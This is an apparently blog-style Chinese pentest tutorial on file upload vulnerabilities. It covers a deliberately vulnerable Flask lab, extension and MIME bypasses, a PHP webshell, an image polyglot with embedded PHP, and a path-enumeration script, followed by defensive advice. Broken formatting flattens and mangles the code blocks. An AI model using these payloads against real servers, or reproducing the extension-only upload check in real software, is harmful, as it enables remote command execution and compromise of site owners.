0x01 文件上传的秘密

文件上传功能是一个看似简单却暗藏玄机的模块,它广泛存在于各种Web应用中,比如用户头像上传、附件上传、文档共享和管理等场景。然而,这些功能一旦设计不当,往往会成为攻击者打开突破口的钥匙。文件上传漏洞的利用方式多种多样,既可以用于上传恶意脚本实现代码执行,也可以用作进一步的信息收集,甚至是获取持久化访问的手段。在我以往的渗透测试经历中,文件上传漏洞几乎是「必测项目」,也确实带来了不少意想不到的战果。

文件上传漏洞的成因大多是由于开发者未对上传文件进行严格校验。常见的失误包括:

  1. 文件类型验证不严:仅通过前端或文件扩展名进行检查;
  2. 文件存储路径可控:上传的文件存储在可直接访问的目录中;
  3. 缺乏安全策略:未合理限制文件大小、文件名等参数。

攻击者的目标通常很明确:上传一个包含恶意代码的文件,并让服务器执行,从而实现进一步的控制。 这看起来简单,但在实战中往往需要突破多重限制,这才是对攻击者技术水平的真正考验。

---

0x02 漏洞环境复现

黑客示意图

要理解文件上传漏洞的细节和攻击方式,我们先搭建一个简单的靶场。通过这个靶场,我们可以复现最基础的文件上传漏洞场景,便于后续的实战讲解。

环境搭建

我们使用以下技术栈搭建这个靶场:

  • Web框架:Flask (Python,开发速度快)
  • 数据库:SQLite (轻量级,适合实验)
  • 操作系统:Linux (这里用的是Ubuntu)

以下是靶场代码,功能是模拟用户上传文件并将文件保存到服务器的特定目录下:

<pre><code class="language-python">from flask import Flask, request, render_template, redirect, url_for import os

app = Flask(__name__) UPLOAD_FOLDER = &#039;./uploads/&#039; # 文件上传目录 ALLOWED_EXTENSIONS = {&#039;png&#039;, &#039;jpg&#039;, &#039;jpeg&#039;, &#039;gif&#039;} # 允许的文件类型

app.config[&#039;UPLOAD_FOLDER&#039;] = UPLOAD_FOLDER

检查文件扩展名是否符合要求

def allowed_file(filename): return &#039;.&#039; in filename and filename.rsplit(&#039;.&#039;, 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route(&#039;/&#039;) def index(): return &#039;&#039;&#039; &lt;h1&gt;文件上传漏洞靶场&lt;/h1&gt; &lt;form method=&quot;POST&quot; action=&quot;/upload&quot; enctype=&quot;multipart/form-data&quot;&gt; &lt;input type=&quot;file&quot; name=&quot;file&quot;&gt; &lt;input type=&quot;submit&quot; value=&quot;上传&quot;&gt; &lt;/form&gt; &#039;&#039;&#039;

@app.route(&#039;/upload&#039;, methods=[&#039;POST&#039;]) def upload_file(): if &#039;file&#039; not in request.files: return &#039;没有文件被上传&#039; file = request.files[&#039;file&#039;] if file.filename == &#039;&#039;: return &#039;未选择文件&#039; if file and allowed_file(file.filename): # 仅检查扩展名 filename = file.filename file.save(os.path.join(app.config[&#039;UPLOAD_FOLDER&#039;], filename)) return f&#039;文件上传成功: {filename}&#039; return &#039;不支持的文件格式!&#039;

if __name__ == &#039;__main__&#039;: if not os.path.exists(UPLOAD_FOLDER): os.mkdir(UPLOAD_FOLDER) app.run(debug=True, host=&#039;0.0.0.0&#039;, port=5000)</code></pre>

环境启动

  1. 安装依赖:
  2. <pre><code class="language-bash"> pip install flask `

  1. 启动服务:
  2. `bash python3 upload_vuln.py `

  1. 浏览器访问 http://127.0.0.1:5000,即可看到文件上传表单。
  1. 上传一个图片文件,观察文件是否会保存到 ./uploads/ 目录中。

此时,靶场环境已经准备就绪,接下来,我们将逐步分析如何在真实渗透测试中利用这个漏洞。

---

0x03 攻击者的武器库:文件上传的突破之道

作为攻击者,如果我遇到上述的文件上传功能,我会尝试以下几种方式来利用它:

绕过文件类型验证

这个靶场中,文件类型验证仅基于文件扩展名(allowed_file 函数)。但扩展名仅是文件名的一部分,完全可以伪造。以下是绕过扩展名验证的常用方法:

方法1:伪装扩展名

上传一个包含恶意代码的PHP文件,将扩展名伪装为 .jpg 或其他允许的类型。例如:</code></pre>bash mv shell.php shell.jpg <pre><code>

方法2:双重扩展名

利用服务器可能只检查最后一个扩展名的机制,例如:</code></pre>bash mv shell.php shell.jpg.php <pre><code>

方法3:Content-Type伪造

上传文件时,修改请求中的 Content-Type 标头为 image/jpeg,迷惑服务器。

这里用 Burp Suite 截获请求并修改:</code></pre> Content-Type: image/jpeg <pre><code>而实际上传的文件仍然是一个包含恶意代码的脚本。

上传Webshell

如果可以绕过验证并上传恶意脚本,就可以在服务器上执行命令。例如,上传以下简单的PHP Webshell: </code></pre>php <?php if(isset($_REQUEST['cmd'])){ echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>'; } ?> <pre><code> 假设文件被上传到 http://target/uploads/shell.php,访问:</code></pre> http://target/uploads/shell.php?cmd=whoami <pre><code>即可执行系统命令。

---

0x04 实战中的防御绕过技巧

尽管上述方法在靶场中能轻松成功,但在真实场景中,开发者往往会采取更多保护措施,比如 MIME 类型验证、黑名单检查、白名单策略等。以下是几种常见绕过方式:

绕过MIME类型验证

有的服务器会验证上传文件的 MIME 类型是否符合要求,比如只允许 image/jpeg。但攻击者可以通过工具伪造,例如: </code></pre>bash curl -F '[email protected]' -H 'Content-Type: image/jpeg' http://target/upload <pre><code>

绕过文件内容检查

一些高级防护系统会分析文件内容(Magic Bytes)以识别文件类型。我们可以使用文件混淆技术绕过,例如,将PHP代码插入到图片文件中: </code></pre>bash

生成伪装的恶意图片

cp normal.jpg fake.jpg echo '<?php system($_GET["cmd"]); ?>' >> fake.jpg <pre><code> 上传后,文件既是图片,也能作为PHP文件执行。

---

黑客示意图

0x05 爆破存储路径:发现上传的文件

在某些情况下,攻击者可能无法直接访问上传的文件。这时,可以尝试通过路径爆破来找到文件。例如,如果上传的文件存储在 uploads 目录下,可以用以下脚本枚举文件名:

黑客示意图 </code></pre>python import requests

url = "http://target/uploads/" common_names = ["shell.php", "test.jpg", "backdoor.php"]

for name in common_names: full_url = url + name r = requests.get(full_url) if r.status_code == 200: print(f"[+] Found: {full_url}") `

---

0x06 防守者的心得

在多年渗透和防守的实践中,我总结了一些针对文件上传漏洞的有效防御策略:

  1. 严格的内容检查:不要信任文件扩展名,检查文件内容是否符合预期格式。
  2. 隔离存储目录:将上传的文件存储在无法通过Web直接访问的目录中。
  3. 限制文件执行:通过设置目录权限或使用中间层(如Nginx)阻止脚本执行。
  4. 采用白名单:明确限制允许的文件类型和大小。

---

0x07 一些经验与反思

文件上传漏洞看似简单,但要真正利用成功往往需要结合多个子技巧。熟悉这些细节,不仅能帮助我们在渗透测试中找到突破点,也能让我们更好地加固系统安全。攻防对抗是一个不断学习和成长的过程,保持攻击者的思维,才能更好地守护系统!